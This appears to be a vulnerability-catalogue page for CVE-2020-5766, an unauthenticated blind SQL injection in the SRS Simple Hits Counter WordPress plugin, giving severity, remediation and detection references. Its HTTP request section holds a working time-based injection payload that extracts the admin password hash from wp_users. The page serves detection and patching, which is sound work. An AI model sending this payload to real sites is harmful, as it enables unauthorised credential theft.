🔙 목록으로 돌아가기

CVE-2020-5766: SRS Simple Hits Counter 1.0.3-1.0.4 - Unauthenticated Blind SQL Injection

TitleSRS Simple Hits Counter 1.0.3-1.0.4 - Unauthenticated Blind SQL Injection
AuthorDhiyaneshDk
SeverityHigh
ImpactUnauthenticated attackers can extract database contents via blind SQL injection, potentially exposing sensitive WordPress user data and credentials.
RemediationUpdate to the latest version of SRS Simple Hits Counter plugin.
CVSS Score7.5
EPSS Score0.39068
CVE IDCVE-2020-5766
CWE IDCWE-89
Tags cve cve2020 srs-simple-hits-counter wordpress wp wp-plugin time-based-sqli sqli vkev vuln

🔍 Vulnerability Description

Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’) in SRS Simple Hits Counter Plugin for WordPress 1.0.3 and 1.0.4 allows a remote, unauthenticated attacker to determine the value of database fields.

🌐 HTTP Request

GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11) AppleWebKit/617.29 (KHTML, like Gecko) Version/17.7 Safari/617.29
Connection: close
Accept-Encoding: gzip
GET /wp-admin/admin-ajax.php?action=srs_update_counter&post_id=1+and+1=0)+union+select+(select+if(ascii(substring((select+user_pass+from+wp_users+where+user_login=char(97,100,109,105,110)),%d,1))=%d,sleep(6),sleep(0))),1,1,1,1,1;-- HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-5766.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-5766.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A